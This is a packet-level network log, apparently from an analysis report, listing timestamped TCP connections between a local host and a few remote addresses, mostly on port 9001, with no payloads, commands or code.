Dec 17, 2024 11:49:48.096410036 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.096414089 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.096492052 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.096510887 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.096788883 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.096797943 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.096807003 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.096815109 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.096833944 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.096843004 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.096940994 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.096950054 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.097019911 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.097029924 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.097165108 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.097172976 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.097217083 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.097258091 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.097340107 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.097358942 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.097753048 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.097851992 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.097930908 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.097939968 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.098040104 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.098072052 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.098248005 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.098258972 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.098365068 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.098400116 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.098553896 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.098562956 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.098711014 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.098793983 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.098804951 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.098813057 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.098826885 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.098833084 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.098834038 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.098906994 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.098916054 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.098925114 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.267069101 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.267091036 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.267162085 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.500123024 CET	49795	443	192.168.2.6	204.8.96.82
Dec 17, 2024 11:49:48.500276089 CET	49796	443	192.168.2.6	107.189.8.65
Dec 17, 2024 11:49:48.500380993 CET	443	49796	107.189.8.65	192.168.2.6
Dec 17, 2024 11:49:48.500509977 CET	443	49796	107.189.8.65	192.168.2.6
Dec 17, 2024 11:49:48.500579119 CET	49796	443	192.168.2.6	107.189.8.65
Dec 17, 2024 11:49:48.500617981 CET	49796	443	192.168.2.6	107.189.8.65
Dec 17, 2024 11:49:48.543339014 CET	443	49795	204.8.96.82	192.168.2.6
Dec 17, 2024 11:49:48.605618954 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.734236002 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.743587017 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.743623972 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.743753910 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.743773937 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.743823051 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.743853092 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.744849920 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.744975090 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.745022058 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.745260000 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.745997906 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.746018887 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.746062040 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.746100903 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.747931004 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.747997046 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.748024940 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.748039007 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.748590946 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.748651028 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.748868942 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.749000072 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.749716997 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.824836969 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.824856043 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.824939966 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.825417995 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.825545073 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.825582981 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.825608015 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.826555967 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.826598883 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.826608896 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.826636076 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.827579975 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.827593088 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.827625990 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.827641010 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.828557014 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.828664064 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.828686953 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.828722954 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.829607010 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.829689026 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.829698086 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.829739094 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.830667973 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.830714941 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.830723047 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.831091881 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.831832886 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.831967115 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.832068920 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.832118988 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.833317995 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.833389997 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.833430052 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.833934069 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.833985090 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.834014893 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.834072113 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.834995985 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.835046053 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.835067034 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.835123062 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.836067915 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.836138964 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.836148024 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.864949942 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.906112909 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.906197071 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.906222105 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.906697035 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.906846046 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.906872988 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.907675028 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.907766104 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.907836914 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.908767939 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.908849001 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.908860922 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.909989119 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.910008907 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.910054922 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.910958052 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.910979033 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.911030054 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.911348104 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.912025928 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.912077904 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.912220955 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.912266970 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.913181067 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.913219929 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.913227081 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.913264990 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.914134979 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.914185047 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.914243937 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.914283037 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.915184975 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.915242910 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.915273905 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.915318012 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.916254044 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.916297913 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.916349888 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.916394949 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.917335033 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.917391062 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.917474031 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.917567968 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.918416977 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.918498039 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.918521881 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.918534994 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.919543028 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.919584036 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.919616938 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.919636965 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.920600891 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.920675993 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.920711040 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.920842886 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.921643019 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.921703100 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.921741009 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.921770096 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.922769070 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.922820091 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.922848940 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.922868013 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.923799038 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.923855066 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.923914909 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.924091101 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.924813986 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.924865007 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.924901962 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.924940109 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.926091909 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.926141977 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.926162004 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.926196098 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.926985979 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.927026987 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.927052021 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.927088976 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.928004980 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.928055048 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.928086996 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.928124905 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.929080963 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.929147959 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.929265976 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.929310083 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.930216074 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.930274963 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.930279016 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.987271070 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.987337112 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.987421989 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.987688065 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.987700939 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.987739086 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.987751007 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.988826036 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.988847017 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.988887072 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.989593029 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.989634037 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.989710093 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.989747047 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.990639925 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.990689039 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.990838051 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.990883112 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.991849899 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.991873026 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.991904020 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.991913080 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.992845058 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.992858887 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.992887974 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.992901087 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.993896961 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.993947029 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.993963957 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.993999004 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.994919062 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.994961023 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.995045900 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.995085955 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.996196985 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.996237040 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.996264935 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.996409893 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.997117043 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.997165918 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.997235060 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.997554064 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.998189926 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.998203039 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.998245001 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.999252081 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.999336004 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.999351025 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.999393940 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.000339985 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.000380993 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.000432968 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.001502037 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.001622915 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.001674891 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.002574921 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.002721071 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.002772093 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.003663063 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.003726006 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.003761053 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.003829956 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.004734039 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.004793882 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.005038023 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.005079985 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.005759001 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.005816936 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.005853891 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.017111063 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.017169952 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.017277002 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.017337084 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.017666101 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.017751932 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.017770052 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.017781973 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.018546104 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.018558979 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.018582106 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.018610001 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.019359112 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.019401073 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.019488096 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.019541979 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.020648956 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.020704985 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.020762920 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.020807028 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.021513939 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.021569014 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.021646976 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.021686077 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.022690058 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.022702932 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.022737026 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.022761106 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.023667097 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.023689985 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.023731947 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.024849892 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.024890900 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.024910927 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.024945974 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.025975943 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.026082039 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.026108980 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.026144028 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.027160883 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.027225018 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.027266026 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.027995110 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.028072119 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.028141975 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.028184891 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.029119968 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.029131889 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.029169083 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.029181004 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.030294895 CET	9001	49784	185.196.220.82	192.168.2.6
